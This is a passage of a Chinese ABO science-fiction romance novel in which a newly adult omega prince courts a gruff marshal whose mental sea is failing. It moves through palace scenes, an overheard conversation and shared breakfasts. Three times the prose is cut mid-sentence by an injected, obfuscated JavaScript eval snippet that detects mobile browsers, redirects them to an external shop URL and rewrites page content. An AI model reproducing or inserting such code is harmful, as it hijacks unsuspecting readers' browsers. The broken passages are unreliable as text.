而后,沙发后幽幽亮起一双绿色的眼,小心移动着,最终停在被挂起的军装外套前,认真嗅着上面的气味。 与此同时,二楼卧室,边叙似有所觉,望了眼窗外明亮月光照耀下显得格外幽深的山林。 但很快,光脑的震动唤回他的注意。 【谢谢您,我很喜欢这份礼物。】 底下还跟了一张照片,洁白的床头柜上,死去已久的虫族安然沉眠,翅膀有一种金属般的流光质感,与一旁娇艳的鲜花做对比,有一种很强烈的、不属于同一个世界的感觉。 却又意外地和谐。 边叙将之前准备好的《虫族尸体加工手册》发过去,犹豫了一两秒,脑海中响起不久之前鸾会长的话。 ——“岁岁是个很需要也很会给别人陪伴和情感支持的小孩,你给他一分,他就会回报你七分,你对他最好细心一些,多照顾他的感受。” 他思考了一两秒,又编辑了一条发过去。 【元帅:不用。】 云满原本正盯着元帅发过来的文档名字努力放空大脑,尽量让自己不要联想里面可能有什么血腥的东西,顺便绞尽脑汁思考,在不看这个文档的情况下,该如何回应元帅。 完全没想到,元帅居然还特意回了一句! 他非常意外,一时间只觉得自己又支棱起来了,又觉得元帅是个很热情的人了,完全忘记今天下午时自己受了什么惊吓。 他认认真真打了一行字发过去。 【那您喜欢我做的礼物吗?】 【……嗯。】 嗯是什么意思? 云满皱了下鼻尖,不太满意这个回答,接着追问:【那第一份礼物呢?蛋糕还合您的胃口吗?您是更喜欢绵密一些的奶油还是更喜欢淡一些的呢?要更甜一点还是咸一些好呢?我下次还可以给您带的!】 ……奶油还分这些? 边叙盯着光脑上的字,沉思片刻。 不对。 ……蛋糕! 8. 所谓机甲性恋 清晨的第一抹阳光拂过脸颊,眼皮沉重而涩然,眼睫颤了两下也没能张开,云满拱了拱,将脸埋进松软的被子里。 被子温暖又毛茸茸,简直是天堂,但那可恶的阳光还在追着他,他下意识地往旁边躲,却冷不防身子一轻,直接滚进了旁边的毛毯上。 彻底清醒了。 云满靠着床坐起来,打着哈欠点开光脑。 ……跟元帅的聊天终止在他关于奶油的那个问题上。 之后云满等了半个多小时,从满怀期待到惴惴不安,再到现在。 看来元帅是不会回他了。 他叹了口气。 可能是太忙了。 但也有可能是元帅感到厌烦了,对方大概就是这种人吧,只喜欢简短明确的交流什么的。 那等结婚以后,他是不是应该采取冷漠且无情、除了治疗什么都不做的方式? 可是这样的话,没办法达到最好的疗效…… 而且还不知道元帅能在帝星留多久,虽然他跟着去边星也不是不行,但他真的不想吃苦…… 云满抱着小狗玩偶胡思乱想了好半天,终于把大脑转清醒了,这才慢悠悠地爬起来洗漱。 这几天他基本一直在苦恼元帅的事情,冷落了自己的朋友们,虽说现在也没解决……但是想到还在抽屉里的那只虫子,云满又有点萎靡。 他觉得自己跟元帅的代沟还是有点太大了……要不,躲几天? 云满越想越心动,同时在心里悄悄辩解:元帅也很忙的,不能每天都去找人家。 他很顺利地说服了自己,然后快快乐乐去关心朋友们了。 结果就发现,大部分朋友都出去找自己的alpha了,只有许怀安正跟江闻在一起,不知道在做什么。 他走到江闻的房间外,刚要推门,却正好看到许怀安手舞足蹈,跟江闻讲新听到的八卦:“绒绒跟那个A已经走到试婚那一步了,不知道是不是因为那个A太会骗人了……今天鸾会长就是因为不放心绒绒,所以跟着一起过去看看。” “自明的话他好像拒了,也没同意供养关系,准备走下一轮匹配了,那个A蛮伤心的,已经重新上战场去了,希望能顺利回来等下一轮匹配吧。” “哦对还有还有,星星不是有选择困难症嘛,他同时匹配到了两个alpha,相亲宴上没选出来,之后分别见了一面还没选出来,也不知道那两个A是怎么锁定对方身份的,总之打了一架,双双进了禁闭室反思,星星现在还在苦恼先去探望哪一个……” 云满脚步一顿,被朋友们丰富的生活浅浅震撼了一下。 许怀安背对着门窗,完全没看到云满过来了,而江闻的视野也恰好被完全挡住。 “我还听说了一件事,”说到这里,许怀安的声音压低了些,神秘兮兮的,“昨天晚上,鸾会长去找元帅了。” 云满:“!” 他悄咪咪停下脚步,在心里忏悔了一下自己的行为,然后开始听墙角。 江闻道:“正常,岁岁还太小了。” 许怀安沉默了一两秒,赞同了对方的想法,叹了口气,“确实,说实话,我还真有点担心,毕竟元帅那个精神海情况,一个刚成年的omega……” 他叹着气,侧过目光避开江闻的视线,却忽地注意到窗外有什么东西一闪而过。 许怀安眯了下眼,对着江闻打了个手势,而后无声无息地靠近门边,猛地一拉门,将云满当场抓获! “好啊云岁岁,学会偷听了?” - 偷听被抓后,云满再没听他们提起过有关元帅的话题,但很快,有关小伙伴们各式各样的八卦就吸引了他全部的心神。 直到鸾会长来找他时,他才意犹未尽、一步三回头地跟着离开,完全忘记元帅的存在了。 飞行器缓缓降落在皇宫门口,识别出权限后,又一路畅通无阻,直达花厅。 云满看着周围熟悉的风景,略微有些疑惑。 鸾会长看出他的疑惑,主动道:“陛下要见你。” 嗯? 皇帝政务繁忙,属于自己的时间非常少,因此云满从小就养成了习惯,只在很想家的时候给哥哥发一条短讯,等对方什么时候看到了,就什么时候向协会打申请,来接他回家。 那个时间可能是一天、两天,也可能是一周、两周。 但没关系,从刚发短讯开始,云满就一直在幸福地期待着了。 可是……云满最近没跟兄长说过想家了啊。 他有点茫然。 来接他的仍是霍克,管家先生笑眯眯地看着小殿下,道:“陛下很思念您。” 云满有点不好意思地撇过眼,小小声且超心虚说:“我也很想他啦。” ——其实根本没想起来过。 云景怀正在室内花房等着幼弟的到来。 面前的花桌上摆满了大大小小的蛋糕零食还有各式饮品。 出于健康考虑,在饮食上协会对omega管束严格,而云景怀一向有些愧对这个弟弟,便默认了对方在皇宫里的放纵。 虽然云满再放纵,也不过是多吃两个小蛋糕罢了。 他回想着几日前忧心忡忡的omega对他倾诉的话,思考着这一次该采用何种方式来开导云满。 毕竟这短暂的一个小时空闲,可是他加班了整整七天才换来的。 他正思索着,便听得一声推门声,云满脚步轻快地走进来,脸上还带着没褪下去的笑意。 云景怀不动声色地观察着omega的神色,推测对方先前所苦恼的问题应当得到了解决——那也好。 他松了一口气,微笑着将葡萄汁推到云满面前。 云满眼睛又亮起来了,他咬着吸管喝了两口,才抬起头去看兄长,“您找我什么事呀?” “想看看你最近过得怎么样。”他云淡风轻。 云满信了,他又啃了一口蛋糕,快乐地小腿乱晃。 匹配之后的生活真的很好! 有吃又有喝,虽然元帅很凶,还拿虫子吓他,但没关系,云满是个很宽容的omega。 当然,绝对不是看在小蛋糕的份上! 他又想起方才听说过的八卦,感觉更快乐了,迫不及待地跟兄长分享。 “绵绵,就是那个头发卷卷的omega,还有团团,就是那个脸圆圆的omega,我都跟你说过的!听说他们两个在相亲宴上互相认错了alpha,但是又都很有好感,所以将错就错……” “哦对,鸾会长还不知道这件事哦,你要帮我保密的!” 云景怀:“……” 他有点头疼,已经预感到之后这四个人还会惹出更多麻烦,甚至闹到他面前来了。 但看着面前眼睛亮亮的omega,他还是选择什么都没说,安静地听着。 一个小时转瞬即逝,霍克先生进来添了杯茶,云满的声音便停了。 他知道这是什么意思,不由有点难过,先一步站起身道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032406|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我跟霍克爷爷出去玩啦。” 云景怀微笑了一下,“好,岁岁,下次见。” 越往外走,花便开得越繁茂,可云满还是忍不住有点低落,问霍克:“哥哥什么时候可以休息呢?” 霍克一板一眼回答道:“等他有了beta后代。” 云满被逗笑了,“那您可催催他,让他早点给我找个嫂嫂。” 霍克也微笑起来,刚要接话,忽地皱了下眉,拦住云满。 面前是一条分叉小路,云满正习惯性地要往右拐,却被霍克拦住,有点疑惑,“怎么啦,霍克爷爷?” 霍克只言简意赅道:“走另一条路。” 云满没多问,只乖乖地哦了一声,正要拐进另一条路,却忽然听到了熟悉的声音。 “元帅,由于您的拒不配合,A院的研究已经暂停了半个月。” 很清越的一道声音,加上谈话内容…… 云满猜测他应当是研究院的首席。 在十年前,一个来自曾经第五星系的beta跳级考上了帝国大学,并被某位研究AO精神海领域的老教授收为关门弟子,后来又成为研究院的两名首席之一,不过几年时间,便在缓解alpha精神海损伤方面取得重大突破,一度轰动了整个帝国,激励了无数beta。 他有点好奇这位首席,也好奇元帅会怎么回答,更想知道到底是什么实验——是跟元帅的精神海有关的吗? 步子便慢了下来。 元帅并没有回话,那道声音沉默了片刻,接着道:“陛下还不知道这件事,那位……也才刚成年,我不认为这件事最终会有结果。” 这次,元帅终于有了反应,他冷淡道:“与你无关。” 云满的脚步更慢了,元帅与研究院首席的声音也越来越近,似乎要走过来了。 他还想再听,却被霍克先生催着,不情不愿进了旁边轻纱笼着的小亭子。 脚步声越来越近,最终停在了不远处,云满猜测应该是霍克爷爷面前。 最先开口的是首席,他定定看着边叙,道:“以您目前的精神海状况,不出三年就会精神暴动而亡。” 元帅似乎笑了一声,只是那声音极低,听不真切。 而后,他道:“已经够了。” 首席沉默,似乎不愿再跟元帅交流,转而去问霍克:“陛下在书房吗?” 得到否定的回答后,他皱了下眉,彬彬有礼道:“那还请霍克先生引我去见陛下,我有要事。” 霍克犹豫了一两秒,目光很隐晦地扫了眼不远处的小亭。 在小殿下进入后,他立刻调整了纱帐的透明度,此时此刻,完全看不出小亭中还藏了个人。 他又看了元帅一眼,对方心不在焉,右手把玩着一片叶子,显然根本没注意他们。 霍克稍微放了点心——小亭后还有另一条路,小殿下从小在这里长大,应该十分熟悉才对。 且他上次还恐吓过小殿下,想必小殿下也不会冒冒失失凑到元帅面前去。 而以元帅的性取向……应该是机甲性恋吧。 管家先生严谨地思考着,最终还是以工作为重,对首席颔首道:“请跟我来。” 脚步声逐渐远去,边叙收回目光,颇感烦躁乏味,正准备离开,却忽然发觉不远处传来一声很轻的响动。 他皱起眉,回忆了一下军部地牢里那三个间谍的供词,同时盯住那个小亭—— 然后,一张十分眼熟的脸怯生生探出来。 9. 再拒绝一次试试? 云满十分谨慎地左右看看,确定霍克先生已经走远了,周围也并没有任何耳目后,他松了口气,兴冲冲且小小声地朝边叙招了招手。 “元帅元帅,这里!” 边叙:“……?” 他颇感意外,站在原地没动。 云满用力招了两下手,只获得元帅沉默的注视,却迟迟不见人过来,有点奇怪地低头,盯着自己的手掌看了两三秒。 没问题啊? 他有点疑惑,再低头看看自己身高,抬头看看元帅,悟了。 边叙看着踮起脚尖试图让自己更显眼的小omega,终于妥协了。 “殿下,”他语气很平,垂眼望着缩在纱帐后面的小omega,道:“协会应当说过,不要与陌生alpha单独相处。” 云满茫然地眨了下眼,“可是只有这里没监控。” “……” 那不是更危险了吗。 边叙面无表情,便见omega歪了下脑袋,轻快地笑起来,“更何况,您也不是陌生alpha啊。” “……” 纱帐落了下去。 这座小亭也是云满的秘密基地,轻易不会有人闯入。 里面大多设施还是他幼年时布置的,小桌子小椅,对于omega来讲还好,但对于alpha,那可就太憋屈了。 云满看着对面长腿都无处安置的元帅,颇有点邀请小伙伴来家玩却没招待好的不好意思之感,立刻殷勤献宝般,将自己私藏的美味小零食都悄咪咪推向元帅的方向。 元帅看了一眼。 元帅收回目光。 推销失败的云满:QAQ 他不动声色地用小指勾回自己最爱吃的那一袋,又在元帅抬眼时吓得手一抖。 好在元帅什么也没说,平静地移开了目光。 云满松了一口气,赶忙将之塞进口袋,才抬头去看元帅。 说来有些荒谬,这还是他第一次看清元帅的脸。 军帽檐下的碎发散在英挺的眉骨上,弱化了那双锋利的眼,眼皮很薄,垂眸望过来时,冷淡而漠然。 如果不是那些乱七八糟的流言,在第一次见面时,云满一定会觉得,这是自己目前见过的最英俊的一张脸。 而那双烟灰色的眼,让他想起曾在资料中看到的、凝固的第五星系。 边叙也望着对面将自己大半张脸都藏进怀中小熊背后,只露出一双灵动眼睛的omega,见对方眼中流露出几分犹豫。 “元帅,”云满超小声,“您要死了吗?” 边叙:“……?” 云满:“!!!” 他又在说些什么啊!!! 云满又有点想一头撞死在桌上的玫瑰花糕上,但是看看他只来得及啃了两口的糕点,犹豫两秒,舍不得。 他没敢去看元帅的反应,慌忙地给自己打补丁:“我也没想到会在这里碰到您!是这样的协会规定AO见面三次以后就必须进入试婚阶段……” 他越说越心虚,眼神也飘忽不定。 ——因为他说得都是假的。 要是见面三次就必须进入试婚,那现在那些出了名恩爱的AO伴侣,恐怕都不可能走到今天。 协会不可能做出这种荒谬的决策,而军部也不可能同意。 但是…… 作为最后一道考察,试婚为期三个月到一年不等,这期间除了绝对标记以外,所有一切都是被允许的。 哪怕最终没能结婚,走完试婚这一段的alpha,精神海状况也会大大好转。 虽然云满从来没有问过,但他很清楚地知道,现在边境不稳,元帅随时都有可能离开。 ……就像他父亲一样。 这一次,换边叙沉默了。 小亭中安静下来,一时之间,耳畔唯有风吹动轻纱时带起的簌簌声。 云满本来还镇定,但随着沉默时间渐长,他不安起来,无意识捏着指尖,目光也一点点低下去,落到桌上鲜艳漂亮的玫瑰花糕里。 现在已经快到晚饭时间了,不知道协会怎么样,星星有没有纠结出来自己先去探望哪个alpha,绒绒是不是已经跟着那个A走了,鸾会长又有没有回到协会,哦对还有团团和绵绵…… 他胡思乱想了好半天,终于让自己没那么紧张了,深吸一口气,正准备再问一遍,却听到了元帅的回答。 “不需要。” 边叙的声音很平静,他看着云满,目光没有丝毫波动。 “我会去跟协会交涉,你……” 他声音一顿,眼睁睁看着云满瞬间红了眼眶。 一时间,边叙竟难得生出一种进退两难的感觉,剩下的话也卡在嘴边,说不出来。 云满抽了下鼻子,透过朦胧的视线,看到元帅那张本就冷峻的脸更沉肃了,吓得一噎,胡乱伸手抹了抹眼睛,“对不起我情绪一激动就会这样您不用在意——” 眼皮太薄,动作又太快太粗暴,眼皮瞬间泛上一层淡淡的粉,整个人看起来就更可怜了。 边叙剩下的话算是彻底卡在喉咙里了。 他皱着眉没说话,指尖无意识地摩挲着口袋里银叶分明的纹路。 云满小心翼翼地抬头,看元帅并没有什么别的反应,这才小小松了口气,又想起元帅方才说的话,顿时又有点着急,大着胆子小声开口:“可是,可是如果您拒绝了,我们就再也见不了面了。” 边叙指尖稍顿,“……嗯。” 云满看元帅仍旧是一副八风不动的样子,但好歹没凶他,胆子又大了点,“那样,我做的小蛋糕就再也没办法送给您了,我们也没办法再一起去云间餐厅吃饭了!” 边叙稍稍撇开目光,这次回应得很果断:“嗯。” 云满没辙了,他思考了好久,沮丧得连脑袋上的呆毛都垂落下去了。 “好吧,我知道了,我接受您的决定,也会去跟鸾会长讲的。” 边叙垂下眼,平静地望着桌上的玫瑰花糕。 应该是被自己打搅了,刚拿起来啃了一口就不得不匆忙地放回盘子里,又因为太急,摆得歪歪扭扭。 但还是早点断掉,对眼前人更好。 前两次没能开口拒绝,是他的失误。 边叙正要说话,却见对面omega像是突然想起什么一样,猛地抬起头,眼睛亮晶晶看过来,“但是,我们还可以签供养协议!明天就开始!” 边叙:“……嗯?” 云满完全没听出元帅略带迟疑的回应中掺着一点迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032407|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茫和疑惑,只觉得自己简直是想出了最完美的方案,立刻从桌子底下掏出幼年时藏起的画本,开始绞尽脑汁思考要拟定什么条款。 “让我想想,您每个月给我寄一块蛋糕……啊,不对,一根棒棒糖就可以了!然后我为您提供信息素,眼泪,还有发.情期时候的……唔,但这个可能得等好久了。” “上次伊会长给我检查身体,说我腺体还没发育好,第一次发.情期可能还得等好久,所以只能先提供眼泪……抽信息素或者血液的话也不是不行,但我有点怕疼,对不起哦。” 云满自言自语,说到后来还有点不好意思。 他动作很快,写好大致条款后,低头认真检查一遍,颇为满意地点点头,又迫不及待地递交给元帅,“您看看还有什么需要补充的吗?” 他犹豫了一下,说:“如果您需要的话,抽信息素也不是不行……” 刚一出口,云满就后悔了,声音越来越小。 但显然,元帅还是听到了。 云满悄咪咪缩成一团,只露出一双眼,谨慎地盯着元帅。 元帅低头。 元帅开始看。 元帅随手扔掉了。 云满:“……!!!” 他敢怒不敢言,努力用眼神谴责对方这种不尊重自己劳动成功的行为,但在元帅淡淡扫过来一眼时,还是没忍住,怂怂地收回目光。 顶着元帅自认为平静,但云满却觉得十分有压迫感的目光,他小声在心里解释:如果有不满意的,可以再商量修改…… 呜,不要再看他了qaq。 边叙只道:“不需要。” 如果是已经成熟的omega,抽取信息素只会虚弱一段时间,但是…… 不合时宜地,边叙忽地想起之前看过的那份体检报告,那四个鲜红的字重又跳入脑海。 连标记都无法承受的omega,怎么可能承受得了每月一次的提取信息素。 他没再看云满那双还泛着红的眼,只平铺直述,“我明日会去找协会说明情况,军部那边我也会处理好,你不用担心。” 云满踟蹰:“可是,您的精神海……” 边叙打断他:“研究院会负责这件事。” 云满有点迷茫了,他回忆着方才听到的对话,还有几天前霍克先生曾对他说过的那些话,犹犹豫豫:“研究院那边,真的可以吗?” “虽然不太好,但我听到了您跟那位首席的对话……” 毕竟是偷听行为,就这么光明正大地告诉正主,还是让云满有点脸燥。 边叙微不可查地皱了下眉,他言简意赅道:“接下来我会配合研究院的实验。” 云满不说话了,他想起星网上的流言,也想起与元帅的第一次见面。 ……所以元帅果然还是对他有不满,或者说对omega都不满。 宁愿忍受精神风暴的痛苦,也不愿意接受匹配。 边叙观察着他,见对方慢吞吞抱起小熊,遮住自己大半张脸,只露出那双圆溜溜的眼,小动物般警惕地盯着他。 这动作似乎让云满有了几分安全感。 “可是……” 他声音细细的,带着几分迟疑。 “您真的不需要标记吗?” 10. 送羊入虎口 位于地底的训练室内传来一声沉闷的声响,身着外骨骼机甲的alpha被狠狠掼到墙上,高强度金属制成的墙壁都跟着晃了晃。 倒霉的alpha咳了两声,费力地转头,模糊的视野中,能看到墙壁上的计分器飞速上升,最后滴滴两声爆表。 他眼前一黑,彻底没了力气,软趴趴滑到地上,被面露不忍的同僚拖走。 远处的观战台上,副官叹着气摇了摇头,又悄悄瞥了眼站在训练场最中心、只身着最基础训练服的元帅,忍不住咋舌。 “元帅这是碰上啥事了啊?怎么心情这么糟糕?” 副官啧啧道:“好家伙,前几周被陛下从前线叫回来的时候,也没像这几天似的,挨个叫人过去挨打啊。” “难不成是小殿下那边不顺利?”他挠了下脑袋,“可是不该啊,我看那天元帅从晚宴回来时候的样子,还以为马上就要喝喜酒了……” 他感叹几句,见旁边人一直不回话,颇觉无趣,用肩膀撞了下对方,“左少将,怎么不说话啊?” 他旁边那位军官抬了下眼,只道:“祸从口出。” 副官:“?” 他挑了下眉,正想调笑一句,却忽然感觉背后一寒,一转头就对上了自家元帅冷幽幽的视线。 ……是什么意思,简直不言而喻。 副官哭丧着脸过去了,三分钟后安详地躺在地上,被左少将默默拖走。 检查完部下的训练情况,元帅不甚满意,但看着躺了一地的部下,还是很宽容地什么也没说,随意擦了下汗,点开光脑。 消息页面一片空白。 皇帝暂时停了他的职,军部无事,研究院那群人又被他早早拉黑,只剩下…… 他垂眸盯着那只蓝眼睛的猫,最后的聊天记录停在五天前。 不会哭了五天吧? 边叙难得有些踟蹰。 但他深知长痛不如短痛,遂再一次决定,明天就去协会阐明这件事,并拒绝这次匹配。 而现在,他有更紧要的安排。 - 军部大厦某个隐蔽的房间内,一阵白烟伴随着舱门移动冒出,透明的液体缓缓排走,身着军装的alpha略感不适,拧着眉头,沉默地坐起,单手扣上纽扣。 军医盯着屏幕上飞逝而过的一连串数字,满意地点点头,道:“您的精神海状况并没有继续恶化……是那位殿下的缘故吗?” 边叙不语。 军医在军部待了几十年,送走过上上任元帅、上任元帅,还差点送走眼前这位元帅,早就看透了一切,对边叙一碰到不想回答的事情就沉默的习惯也早就习以为常,手指飞快地给病历上添加了一句:“匹配到omega后精神海有明显好转,预计不日便可移出重点观察名单。” 他接着问:“后山那位最近给您惹麻烦了吗?” 边叙不语。 军医懂了。 他接着写:“精神体仍躁动不安,疑因是未能与omega见面,待观察。” 军医写完了,他收了病历本,扶了下眼镜,用最严谨的态度搞八卦:“您与那位殿下的相处还算顺利吗?殿下有没有提出什么要求?对您,或者对军部?” 边叙不语。 军医又懂了。 他笑眯眯地提示道:“我与夫人蝉联‘军部最恩爱伴侣’十八年,您要是有什么疑惑,欢迎随时来找我。” 边叙没说话,只沉默着点了下头。 军医笑眯眯地看着元帅背影,心知对方已经听进去了,并十分期待之后会发生的事情。 已是傍晚,军部大厦逐渐安静下来,边叙独自一人坐在办公桌后。 光脑仍一片寂静,他看了两眼那只猫,而后面无表情地点进军部论坛。 军部论坛分为几大板块,前线板块多是最新的战报,还有众多前线战士在规则允许范围内交换信息与物资,或者给自己找点乐子。 还有给尚未成年的alpha交换信息的军校板块,也有些不怀好意的、暂时从战场退回休息的alpha会偷偷摸进去试图炸鱼。 不过总有些倒霉的,会碰上格外强悍的军校生,炸鱼不成反倒成了同僚们的笑话。 另外最重要的一个版块,则是协会板块,要么是记录自己与omega的美好日常,要么是暗戳戳秀恩爱——当然,大部分都是未婚alpha的臆想。 事实上,真正匹配到omega的alpha才不屑于在这里跟一群没结婚的毛头小子胡闹,更是对那些毛头小子的幻想嗤之以鼻。 但—— 边叙完全不清楚这件事。 他当初在军校时就孤僻,后来上了战场也更喜欢独来独往,在一无所有时,论坛是他为数不多获取信息的来源。 作为一个生命中除了与虫族战斗外便再无意义的人,他根本就想不到,居然有人会无聊到这种程度。 虽然后来成为元帅,论坛对于他的价值便不大了,也很少再看,但是…… 脑海中似乎又浮现出那双漂亮却总是盈着水色的眼。 他又开始头痛了。 协会论坛首页最顶上正飘着一个帖子,今早才发,标题后却已经跟上了一连串的红:【理性讨论,omega是否拥有蛊惑人心的能力?】 有关omega的事情总是能轻易引起这群年轻alpha的注意,更何况还是这样一个极有吸引力的话题。 眨眼之间这个帖子便盖起高楼。 【1l:哥们误食迷毒虫了?】 【2l:几个菜啊喝这么大?哪个omega愿意蛊惑你,说出来让大伙听听呗。】 …… 一连串无意义的回复。 边叙抿紧唇,继续往下,终于看到了一条正经的回答: 【68l:严格来讲并不会,但并非没有特殊情况,你可以仔细讲讲,来协助我们判断。】 仔细讲那当然不行,且不论协会对于omega的隐私格外看重,就单说边叙自己,也不愿将私事拿来乱讲。 更何况…… 他有点犹豫。 要是云满知道了,不会又哭吧? 思索片刻,边叙只讲了自己最为困惑的一个问题:【我拒绝不了他。】 这话一发出去,论坛沉默了片刻,而后飞速刷过好几层。 【237l:不是,真给你小子匹配到了啊?】 【238l:不信,肯定是迷毒虫磕上头了。】 边叙忽略掉那些乱七八糟的话,继续往下,看到了68l层主的回复。 【259l:这种情况很不正常,让我猜一猜,你是不是大龄才“匹配”到omega?整个流程都让你觉得不太对劲?】 幽蓝的光映出屏幕后alpha的脸,若是副官在此,定能认出这就是当年第二军团因为凶了omega,所以至今还喜提单身的那位。 得到肯定的回答后,他轻轻一笑,回复:【我这儿倒是有一些小道消息,研究院那边针对常年匹配不到omega的alpha们研究出了伴侣机器人,一举一动皆是按照alpha喜欢的类型来定制,你可要多小心了……】 ……喜欢的类型? 边叙陷入沉思,脑子里飘飘忽忽,又冒出了那双水雾朦胧的眼。 ……不可能吧? - 深夜,飞行器缓缓降落在元帅府邸。 为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032408|148832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了防止精神力暴动伤人,元帅府邸建在远离市区的郊外,占地极广。 周围一片寂静昏暗,是边叙最熟悉的样子。 看上去一切正常。 边叙悄无声息地拎起刀摸进门,眼睛微微眯起,黑暗中一切都如常,没有任何异样,只除了……亮着灯的卧室。 是离开前忘了关灯? 不可能。 他的生活极为规律,只除了最近闯进来的意外……但应该也不会持续太久。 边叙面无表情地否定了所有可能性,大步走上楼,推开卧室门。 深黑色的卧室中除了一张床、一套桌椅之外再无他物,是他熟悉的样子。 一切都很正常,只除了床上莫名其妙多出来的一条浅白色的毛毯,还有毛毯下鼓起来的一小团。 边叙:“……?” 他心里冒出点不太好的预感。 而这点不太好的预感,迅速成真了。 边叙走过去,伸手想掀被子,但是不知想到了什么,犹豫了两秒。 云满迷迷糊糊睁开眼,冷不丁看到元帅,登时被吓了一跳,瞬间清醒了,下意识想爬起来,又突然意识到自己的衣服已经被滚得乱七八糟的,还正在思考到底该怎么办,就眼睁睁看着元帅的脸越来越黑…… 云满怂怂的,只好超小声道:“晚上好哦……” 说着,目光还飞速在元帅身上瞟了一圈。 脸色,嗯,很黑。 身上,军装,应该是刚下班,那完全可以理解心情不好。 所以不是他的问题! 云满悄咪咪将锅推走,然后深吸一口气,悄咪咪低头。 然后就看到了那把熟悉的刀。 “!” 他瞳孔都放大了,下意识抱紧怀里的小羊,脸上和大脑都是一片空白,磕磕绊绊开口:“您、您工作辛苦了——” “咣当”一声,边叙面无表情地扔了刀。 云满被这声音吓得一缩,“我我其实有在等您的不是故意睡着……” 他看着元帅朝自己伸过来的那只手,吓得噤了声闭了眼,戚戚然想,难道这次是想掐死他吗? 不知道协会的工作人员来不来得及救他。 呜呜。 哥哥应该会很伤心吧?还有江闻他们…… 果然该听鸾会长的,先写一封遗书什么的…… 额头忽然被重重戳了一下。 边叙面无表情道:“关机。” 云满:“……呜?” 他小心翼翼睁开眼,有点呆呆地抬头去看元帅。 对方似乎心情不大好,脸色很臭,连眼神都不愿意分给他一个。 云满摸摸脖子,热热的,软软的,而且最重要的是还没掉。 “您不杀我吗?” “……嗯?” 云满一个激灵,“没有没有我我也没有很想死——” 边叙沉默了两秒,语气很平:“不杀。” 云满眼睛亮了点,他努力思考了一下“关机”与他现状的关联性,突然悟了。 “那您是在哄我睡觉吗?” ——优秀的alpha应该哄他的伴侣睡觉! 而元帅可是alpha中的佼佼者! 边叙:“……” 他又沉默了两秒,捡起地上的刀就往外走,语气更平了:“没有。” 看着那把给他留下阴影的刀越来越远,云满松了口气,可看着元帅也跟着越来越远,又有点急了。 他小小声说:“可是生理课上说,同床共枕可以加快精神海的恢复速度……” 话音刚落,元帅面无表情地抓起刀,用刀柄轻轻往后一掼,直接关了门。 11. 奇怪的感觉 第二日清晨六点,边叙在客卧醒来,觉得似乎有哪里不太对劲。 但他没多想,习以为常地训练、冲澡,并在早上七点半准时走向厨房,准备随便拿两管营养剂,就直接去军部。 但他刚拉开厨房的门,就跟穿着小羊围裙的omega对上视线。 边叙终于想起来哪里不对劲了。 omega似乎刚起来没多久,头发柔软而蓬松,还翘起来几根,是困倦的痕迹。 清晨的薄光落在他脸上,衬得那双眼明亮而清透,瞳孔剔透,就这样望过来,能让任何人都心软。 但alpha心肠冷硬,并没有任何动摇,“你怎么在这里?” 他以一种审视的目光盯着云满。 柔弱的omega,浑身上下都写满了“娇生惯养”,大清早的不赖床,来厨房干什么? 他面无表情地想着,就见眼前人似乎有点惊讶,低头扯了扯身上的小羊围裙,语气无辜又自然:“我在给您做早饭呀。” “……” 边叙沉默几秒,道:“我不需要。” 他盯着眼前的omega,看对方下意识低着头后退——这是惧怕的姿态,是他最熟悉的模样。 但,既然害怕他,那为什么不同意他拒绝匹配? “但协会教过的,”omega声音软软的,似乎不太敢跟他争辩,小声解释:“这是妻子的义务呀。” 边叙眉头一拧,正要开口,便听云满又道:“而且,我也要吃早饭的。” 他诡异地沉默了两秒,看了眼手里刚拿出来的原味绿色营养剂,又看了看对面简直把“娇贵”“难养”“挑食”六个字写在脸上的omega。 ……算了。 十几分钟后,两人对坐餐桌,面前各摆了一个三明治。 云满面前还额外多摆了一杯牛奶。 借着杯子的遮掩,他悄悄抬眼去看对面,满怀期待。 元帅拿起三明治了! 元帅要开始吃了! 元帅咬了一口,元帅放下了,元帅——元帅看过来了! 他浑身一僵,佯装若无其事地抿了一小口牛奶。 那如有实质的目光仍停留在他脸上,让云满如坐针毡,他又装作若无其事地拿起三明治,咬了一口,幸福地眯起眼。 考虑到元帅的胃口与他很相似,云满还特意往三明治里抹了非常多的甜味沙拉酱。 他快乐地大啃几口,一抬头却发现元帅仍盯着自己,又有点莫名的心虚,犹豫了两秒,开口解释道:“我不知道您平日里偏好的早餐种类,所以是按照早餐机的设置来做的。” 早餐机? 边叙花了几秒钟,才从脑海中翻出那东西的存在。 不出意料的话,那也是当初陛下给他这房子时,顺手一起配的家具,目前使用次数为…… 零。 但他看了看云满,又看了看时间,没说什么,面不改色地把对他而言甜得能杀人的三明治塞进去。 